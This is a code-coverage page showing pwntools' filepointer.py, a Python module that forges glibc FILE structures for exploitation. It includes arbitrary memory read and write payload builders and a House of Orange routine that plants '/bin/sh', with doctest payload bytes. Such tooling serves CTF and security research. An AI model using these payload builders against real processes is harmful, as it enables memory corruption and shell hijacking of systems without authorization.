• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 1

16 Jun 2020 04:28AM UTC coverage: 0.0% (-69.4%) from 69.405%
1

push

github

heapcrash
Re-enable UI tests in Github Actions

I suspect this will not work because of curses failing to initialize in GHA

0 of 15570 relevant lines covered (0.0%)

0.0 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

0.0
/pwnlib/filepointer.py
1
# -*- coding: utf-8 -*-
2

3
r"""
4
File Structure Exploitation
5

6
struct FILE (_IO_FILE) is the structure for File Streams.
7
This offers various targets for exploitation on an existing bug in the code.
8
Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.
9

10
Remembering the offsets of various structure members while faking a FILE structure can be difficult,
11
so this python class helps you with that. Example-
12

13
>>> context.clear(arch='amd64')
14
>>> fileStr = FileStructure(null=0xdeadbeef)
15
>>> fileStr.vtable = 0xcafebabe
16
>>> payload = bytes(fileStr)
17
>>> payload
18
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
19

20
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
21

22
Currently only 'amd64' and 'i386' architectures are supported
23
"""
24

25
from __future__ import absolute_import
×
26
from __future__ import division
×
27

28
from pwnlib.context import context
×
29
from pwnlib.log import getLogger
×
30
from pwnlib.util.misc import python_2_bytes_compatible
×
31
from pwnlib.util.packing import pack
×
32

33
log = getLogger(__name__)
×
34

35
length=0
×
36
size='size'
×
37
name='name'
×
38

39
variables={
×
40
    0:{name:'flags',size:length},
41
    1:{name:'_IO_read_ptr',size:length},
42
    2:{name:'_IO_read_end',size:length},
43
    3:{name:'_IO_read_base',size:length},
44
    4:{name:'_IO_write_base',size:length},
45
    5:{name:'_IO_write_ptr',size:length},
46
    6:{name:'_IO_write_end',size:length},
47
    7:{name:'_IO_buf_base',size:length},
48
    8:{name:'_IO_buf_end',size:length},
49
    9:{name:'_IO_save_base',size:length},
50
    10:{name:'_IO_backup_base',size:length},
51
    11:{name:'_IO_save_end',size:length},
52
    12:{name:'markers',size:length},
53
    13:{name:'chain',size:length},
54
    14:{name:'fileno',size:4},
55
    15:{name:'_flags2',size:4},
56
    16:{name:'_old_offset',size:length},
57
    17:{name:'_cur_column',size:2},
58
    18:{name:'_vtable_offset',size:1},
59
    19:{name:'_shortbuf',size:1},
60
    20:{name:'unknown1',size:-4},
61
    21:{name:'_lock',size:length},
62
    22:{name:'_offset',size:8},
63
    23:{name:'_codecvt',size:length},
64
    24:{name:'_wide_data',size:length},
65
    25:{name:'unknown2',size:length},
66
    26:{name:'vtable',size:length}
67
}
68

69

70
def update_var(l):
×
71
    r"""
72
    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
73

74
    Arguments:
75
        l(int)
76
            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
77

78
    Return Value:
79
        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
80

81
    Examples:
82

83
        >>> update_var(8)
84
        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
85
    """
86
    var={}
×
87
    for i in variables:
×
88
        var[variables[i]['name']]=variables[i]['size']
×
89
    for i in var:
×
90
        if var[i]<=0:
×
91
            var[i]+=l
×
92
    if l==4:
×
93
        var['unknown2']=56
×
94
    else:
95
        var['unknown2']=48
×
96
    return var
×
97

98

99
@python_2_bytes_compatible
×
100
class FileStructure(object):
×
101
    r"""
102
    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
103

104
    Arguments:
105
        null(int)
106
            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
107

108
    Examples:
109

110
        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
111

112
        >>> context.clear(arch='amd64')
113
        >>> fileStr = FileStructure(null=0xdeadbeeef)
114
        >>> fileStr.flags = 0xfbad1807
115
        >>> fileStr._IO_buf_base = 0xcafebabe
116
        >>> fileStr._IO_buf_end = 0xfacef00d
117
        >>> payload = bytes(fileStr)
118
        >>> payload
119
        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
120

121
        Check the length of the FileStructure
122

123
        >>> len(fileStr)
124
        224
125

126
        The defination for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
127

128
        >>> q=FileStructure(0xdeadbeef)
129
        >>> q
130
        { flags: 0x0
131
         _IO_read_ptr: 0x0
132
         _IO_read_end: 0x0
133
         _IO_read_base: 0x0
134
         _IO_write_base: 0x0
135
         _IO_write_ptr: 0x0
136
         _IO_write_end: 0x0
137
         _IO_buf_base: 0x0
138
         _IO_buf_end: 0x0
139
         _IO_save_base: 0x0
140
         _IO_backup_base: 0x0
141
         _IO_save_end: 0x0
142
         markers: 0x0
143
         chain: 0x0
144
         fileno: 0x0
145
         _flags2: 0x0
146
         _old_offset: 0xffffffffffffffff
147
         _cur_column: 0x0
148
         _vtable_offset: 0x0
149
         _shortbuf: 0x0
150
         unknown1: 0x0
151
         _lock: 0xdeadbeef
152
         _offset: 0xffffffffffffffff
153
         _codecvt: 0x0
154
         _wide_data: 0xdeadbeef
155
         unknown2: 0x0
156
         vtable: 0x0}
157
    """
158

159
    vars_=[]
×
160
    length={}
×
161

162
    def __init__(self, null=0):
×
163
            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
×
164
            self.setdefault(null)
×
165
            self.length = update_var(context.bytes)
×
166
            self._old_offset = (1 << context.bits) - 1
×
167

168
    def __setattr__(self,item,value):
×
169
        if item in FileStructure.__dict__ or item in self.vars_:
×
170
            object.__setattr__(self,item,value)
×
171
        else:
172
            log.error("Unknown variable %r" % item)
×
173

174
    def __repr__(self):
×
175
        structure=[]
×
176
        for i in self.vars_:
×
177
            structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
×
178
        return "{"+ "\n".join(structure)+"}"
×
179

180
    def __getattr__(self,item):
×
181
        if item in FileStructure.__dict__ or item in self.vars_:
×
182
            return object.__getattribute__(self,item)
×
183
        log.error("Unknown variable %r" % item)
×
184

185
    def __len__(self):
×
186
        return len(bytes(self))
×
187

188
    def __bytes__(self):
×
189
        structure = b''
×
190
        for val in self.vars_:
×
191
            if isinstance(self.__getattr__(val), bytes):
×
192
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
193
            else:
194
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
195
        return structure
×
196

197
    def struntil(self,v):
×
198
        r"""
199
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
200

201
        Arguments:
202
            v(string)
203
                The name of the field uptil which the payload should be created.
204

205
        Example:
206

207
            Payload for data uptil _IO_buf_end
208

209
            >>> context.clear(arch='amd64')
210
            >>> fileStr = FileStructure(0xdeadbeef)
211
            >>> payload = fileStr.struntil("_IO_buf_end")
212
            >>> payload
213
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
214
        """
215
        if v not in self.vars_:
×
216
            return b''
×
217
        structure = b''
×
218
        for val in self.vars_:
×
219
            if isinstance(self.__getattr__(val), bytes):
×
220
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
221
            else:
222
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
223
            if val == v:
×
224
                break
×
225
        return structure[:-1]
×
226

227
    def setdefault(self,null):
×
228
            self.flags=0
×
229
            self._IO_read_ptr=0
×
230
            self._IO_read_end=0
×
231
            self._IO_read_base=0
×
232
            self._IO_write_base=0
×
233
            self._IO_write_ptr=0
×
234
            self._IO_write_end=0
×
235
            self._IO_buf_base=0
×
236
            self._IO_buf_end=0
×
237
            self._IO_save_base=0
×
238
            self._IO_backup_base=0
×
239
            self._IO_save_end=0
×
240
            self.markers=0
×
241
            self.chain=0
×
242
            self.fileno=0
×
243
            self._flags2=0
×
244
            self._old_offset=0
×
245
            self._cur_column=0
×
246
            self._vtable_offset=0
×
247
            self._shortbuf=0
×
248
            self.unknown1=0
×
249
            self._lock=null
×
250
            self._offset=0xffffffffffffffff
×
251
            self._codecvt=0
×
252
            self._wide_data=null
×
253
            self.unknown2=0
×
254
            self.vtable=0
×
255

256
    def write(self,addr=0,size=0):
×
257
        r"""
258
        Writing data out from arbitrary memory address.
259

260
        Arguments:
261
            addr(int)
262
                The address from which data is to be printed to stdout
263
            size(int)
264
                The size, in bytes, of the data to be printed
265

266
        Example:
267

268
            Payload for writing 100 bytes to stdout from the address 0xcafebabe
269

270
            >>> context.clear(arch='amd64')
271
            >>> fileStr = FileStructure(0xdeadbeef)
272
            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
273
            >>> payload
274
            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
275
        """
276
        self.flags &=~8
×
277
        self.flags |=0x800
×
278
        self._IO_write_base = addr
×
279
        self._IO_write_ptr = addr+size
×
280
        self._IO_read_end = addr
×
281
        self.fileno = 1
×
282
        return self.struntil('fileno')
×
283

284
    def read(self,addr=0,size=0):
×
285
        r"""
286
        Reading data into arbitrary memory location.
287

288
        Arguments:
289
            addr(int)
290
                The address into which data is to be written from stdin
291
            size(int)
292
                The size, in bytes, of the data to be written
293

294
        Example:
295

296
            Payload for reading 100 bytes from stdin into the address 0xcafebabe
297

298
            >>> context.clear(arch='amd64')
299
            >>> fileStr = FileStructure(0xdeadbeef)
300
            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
301
            >>> payload
302
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
303
        """
304
        self.flags &=~4
×
305
        self._IO_read_base = 0
×
306
        self._IO_read_ptr = 0
×
307
        self._IO_buf_base = addr
×
308
        self._IO_buf_end = addr+size
×
309
        self.fileno = 0
×
310
        return self.struntil('fileno')
×
311

312
    def orange(self,io_list_all,vtable):
×
313
        r"""
314
        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
315

316
        Arguments:
317
            io_list_all(int)
318
                Address of _IO_list_all in libc.
319
            vtable(int)
320
                Address of the fake vtable in memory
321

322
        Example:
323

324
            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
325

326
            >>> context.clear(arch='amd64')
327
            >>> fileStr = FileStructure(0xdeadbeef)
328
            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
329
            >>> payload
330
            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
331
        """
332
        if context.bits == 64:
×
333
            self.flags = b'/bin/sh\x00'
×
334
            self._IO_read_ptr = 0x61
×
335
            self._IO_read_base = io_list_all-0x10
×
336
        elif context.bits == 32:
×
337
            self.flags = b'sh\x00'
×
338
            self._IO_read_ptr = 0x121
×
339
            self._IO_read_base = io_list_all-0x8
×
340
        self._IO_write_base = 0
×
341
        self._IO_write_ptr = 1
×
342
        self.vtable = vtable
×
343
        return self.__bytes__()
×
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2025 Coveralls, Inc